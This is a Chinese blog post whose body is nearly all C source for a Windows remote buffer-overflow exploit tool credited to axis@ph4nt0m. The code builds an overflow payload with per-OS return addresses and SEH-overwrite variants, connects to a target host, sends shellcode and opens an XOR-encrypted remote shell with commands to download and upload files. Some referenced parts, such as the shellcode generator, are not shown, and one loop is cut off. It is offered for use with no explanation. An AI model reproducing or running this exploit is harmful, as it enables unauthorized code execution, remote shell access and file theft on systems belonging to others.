Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1198978
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: 服务器与存储

2012-06-26 13:23:50


点击(此处)折叠或打开

  1. void Make_Payload(int q)
  2. {
  3. // server.exe
  4. memset(Payload, 0x90, sizeof(Payload)-1);
  5. memcpy(Payload + 52, &os[q].ret, 4);
  6. strcpy(Payload + 56, (const char *)sh_Buff);
  7. memcpy(Payload + 56 + strlen((const char *)sh_Buff), "\x90", 1); //为了填充strcpy shellcode后所造成的\x00
  8. /*
  9. //server_big.exe jmp esp
  10. memset(Payload, 0x90, sizeof(Payload)-1);
  11. memcpy(Payload + 1204, &os[q].ret, 4);
  12. strcpy(Payload + 1208, (const char *)sh_Buff);
  13. memcpy(Payload + 1208 + strlen((const char *)sh_Buff), "\x90", 1);
  14. */
  15. /*
  16. // server_big.exe overwrite esp+8 (seh)
  17. // server_big.exe 覆盖 SEH
  18. memset(Payload, 0x90, sizeof(Payload)-1);
  19. memcpy(Payload + 1204, POP_POP_RET, 4); //覆盖 eip pop/pop/ret
  20. memcpy(Payload + 1208, &os[q].ret, 4); // 覆盖 esp
  21. memcpy(Payload + 1212, &os[q].ret, 4); // 覆盖 esp+4
  22. memcpy(Payload + 1216, &os[q].ret, 4); // 覆盖 SEH jmp esp
  23. // memcpy(Payload + 1220, "\x00", 1);
  24. strcpy(Payload + 1220, (const char *)sh_Buff);
  25. memcpy(Payload + 1220 + strlen((const char *)sh_Buff), "\x90", 1);
  26. */
  27. PrintSc((unsigned char *)Payload, sizeof(Payload));
  28. }
  29. // ripped from isno
  30. int Make_Connection(char *address,int port,int timeout)
  31. {
  32. struct sockaddr_in target;
  33. SOCKET s;
  34. int i;
  35. DWORD bf;
  36. fd_set wd;
  37. struct timeval tv;
  38. s = socket(AF_INET,SOCK_STREAM,0);
  39. if(s<0)
  40. return -1;
  41. target.sin_family = AF_INET;
  42. target.sin_addr.s_addr = inet_addr(address);
  43. if(target.sin_addr.s_addr==0)
  44. {
  45. closesocket(s);
  46. return -2;
  47. }
  48. target.sin_port = htons(port);
  49. bf = 1;
  50. ioctlsocket(s,FIONBIO,&bf);
  51. tv.tv_sec = timeout;
  52. tv.tv_usec = 0;
  53. FD_ZERO(&wd);
  54. FD_SET(s,&wd);
  55. connect(s,(struct sockaddr *)&target,sizeof(target));
  56. if((i=select(s+1,0,&wd,0,&tv))==(-1))
  57. {
  58. closesocket(s);
  59. return -3;
  60. }
  61. if(i==0)
  62. {
  63. closesocket(s);
  64. return -4;
  65. }
  66. i = sizeof(int);
  67. getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
  68. if((bf!=0)||(i!=sizeof(int)))
  69. {
  70. closesocket(s);
  71. return -5;
  72. }
  73. ioctlsocket(s,FIONBIO,&bf);
  74. return s;
  75. }
  76. void xor_buf(unsigned char *buf, int size)
  77. {
  78. int i;
  79. for (i=0; i
  80. buf[i] ^= Xor_key;
  81. }
  82. return;
  83. }
  84. /* ripped from TESO code and modifed by ey4s for win32 */
  85. void shell (int sock)
  86. {
  87. int l,i,size=0,get_size=0;
  88. char buf[1024];
  89. char filename[128];
  90. HANDLE hFile;
  91. fd_set FdRead;
  92. struct timeval time;
  93. unsigned long ul[2];
  94. time.tv_sec = 1;
  95. time.tv_usec = 0;
  96. while (1)
  97. {
  98. ul[0] = 1;
  99. ul[1] = sock;
  100. l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  101. if(l==1)
  102. {
  103. l = recv (sock, buf, sizeof (buf), 0);
  104. if (l <= 0)
  105. {
  106. printf ("[-] Connection closed.\n");
  107. return;
  108. }
  109. xor_buf((unsigned char *)buf, l);
  110. l = write (1, buf, l);
  111. if (l <= 0)
  112. {
  113. printf ("[-] Connection closed.\n");
  114. return;
  115. }
  116. }
  117. else
  118. {
  119. l = read (0, buf, sizeof (buf));
  120. if (l <= 0)
  121. {
  122. printf("[-] Connection closed.\n");
  123. return;
  124. }
  125. xor_buf((unsigned char *)buf, l);
  126. l = send(sock, buf, l, 0);
  127. if (l <= 0)
  128. {
  129. printf("[-] Connection closed.\n");
  130. return;
  131. }
  132. xor_buf((unsigned char *)buf, l);
  133. //+--------------------------------------------
  134. // get xxx download xxx
  135. // put xxx upload xxx
  136. //+--------------------------------------------
  137. if (strncmp(buf, "get", 3) == 0)
  138. {
  139. // obtain filename
  140. buf[l-1] = 0;
  141. for (i=l;i>0;i--) {
  142. if (buf[i] == '\\' || buf[i] == ' ') {
  143. break;
  144. }
  145. }
  146. strncpy(filename, buf+i+1, l-i-1);
  147. hFile = CreateFile(
  148. filename,
  149. GENERIC_READ|GENERIC_WRITE,
  150. FILE_SHARE_READ,
  151. NULL,
  152. CREATE_ALWAYS,
  153. FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
  154. (HANDLE)NULL
  155. );
  156. if ( hFile == INVALID_HANDLE_VALUE ) {
  157. printf("Create File %s Error!\n", filename);
  158. continue;
  159. }
  160. size = 0;
  161. FD_ZERO(&FdRead);
  162. FD_SET(sock, &FdRead);
  163. for (;;) {
  164. l = recv(sock, buf, sizeof(buf), 0);
  165. xor_buf((unsigned char *)buf, l);
  166. WriteFile(hFile, buf, l, (unsigned long *)&i, NULL);
  167. size += i;
  168. l = select (0, &FdRead, NULL, NULL, &time);
  169. if (l != 1) {
  170. memset(buf, 0x0a, 1);
  171. xor_buf((unsigned char *)buf, 1);
  172. l = send(sock, buf, 1, 0);
  173. break;
  174. }
  175. }
  176. printf("Download remote file %s (%d bytes)!\n", filename, size);
  177. CloseHandle(hFile);
  178. }
  179. else if (strncmp(buf, "put", 3) == 0)
  180. {
  181. Sleep(1000);
  182. // obtain filename
  183. buf[l-1] = 0;
  184. for (i=l;i>0;i--) {
  185. if (buf[i] == '\\' || buf[i] == ' ') {
  186. break;
  187. }
  188. }
  189. strncpy(filename, buf+i+1, l-i-1);
  190. // open file
  191. hFile = CreateFile(
  192. filename,
  193. GENERIC_READ|GENERIC_WRITE,
  194. FILE_SHARE_READ,
  195. NULL,
  196. OPEN_EXISTING,
  197. FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
  198. (HANDLE)NULL
  199. );
  200. if ( hFile == INVALID_HANDLE_VALUE ) {
  201. printf("Open File %s Error!\n", filename);
  202. continue;
  203. }
  204. size = 0;
  205. // read file and send
  206. for (;;)
  207. {
  208. ReadFile(hFile, buf, 1024, (unsigned long *)&i, NULL);
  209. if (i == 0)
  210. {
  211. break;
  212. }
  213. xor_buf((unsigned char *)buf, i);
  214. l = send(sock, buf, i, 0);
  215. size += l;
  216. }
  217. printf("Upload remote file %s (%d bytes)...", filename, size);
  218. l = recv (sock, buf, sizeof (buf), 0);
  219. xor_buf((unsigned char *)buf, l);
  220. l = write (1, buf, l);
  221. CloseHandle(hFile);
  222. }
  223. }
  224. }
  225. }
  226. void Disconnect(SOCKET s)
  227. {
  228. closesocket(s);
  229. WSACleanup();
  230. }
  231. void help(char *n)
  232. {
  233. printf("+--------------------------------------------------------+\n");
  234. printf(" Reuse port (Find Sock) Exploit by axis@ph4nt0m\n");
  235. printf(" Ver 1.0 Please Keep it Private!\n");
  236. printf("+--------------------------------------------------------+\n");
  237. printf(" Usage:\n");
  238. printf(" %s [Target IP] [Target Port] [OSType]\n\n", n);
  239. printf(" == OSType:\n");
  240. printf(" 0. Windows CN ALL SP1 POP/POP/RET \n");
  241. printf(" 1. Windows2000 SP3/SP4 ALL POP/POP/RET\n");
  242. printf(" 2. Windows CN ALL JMP ESP from ansi page\n");
  243. printf(" 3. Windows2003 CN SP1 CALL EAX\n");
  244. printf(" 4. WindowsXP CN SP2 JMP EAX\n");
  245. printf(" 5. TEST RET\n");
  246. }
  247. int main(int argc, char *argv[])
  248. {
  249. unsigned short port = 25;
  250. SOCKET s;
  251. WSADATA WSAData;
  252. if(argc != 4)
  253. {
  254. help(argv[0]);
  255. return 0;
  256. }
  257. if(argc == 4) port = atoi(argv[2]);
  258. GetShellCode();
  259. if (!sh_Len)
  260. {
  261. printf("[-] Shellcode generate error.\n");
  262. exit(1);
  263. }
  264. printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
  265. if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
  266. {
  267. fprintf(stderr, "[-] WSAStartup failed.\n");
  268. WSACleanup();
  269. exit(1);
  270. }
  271. s = Make_Connection(argv[1], port, 10);
  272. if(s<0)
  273. {
  274. fprintf(stderr, "[-] connect err.\n");
  275. exit(1);
  276. }
  277. //OS type
  278. int p = 0;
  279. if(argc > 3)
  280. p = atoi(argv[3]);
  281. Make_Payload(p);
  282. //Send our evil Payload
  283. printf("[+]Sending our Evil Payload.\n");
  284. send(s, Payload, sizeof(Payload), 0);
  285. Sleep(100);
  286. // send real shellcode
  287. send(s, magic_shellcode, Magic_Len, 0);
  288. Sleep(1000);
  289. // use same socket to get shell
  290. shell(s);
  291. WSACleanup();
  292. return 1;
  293. }

阅读(1193) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~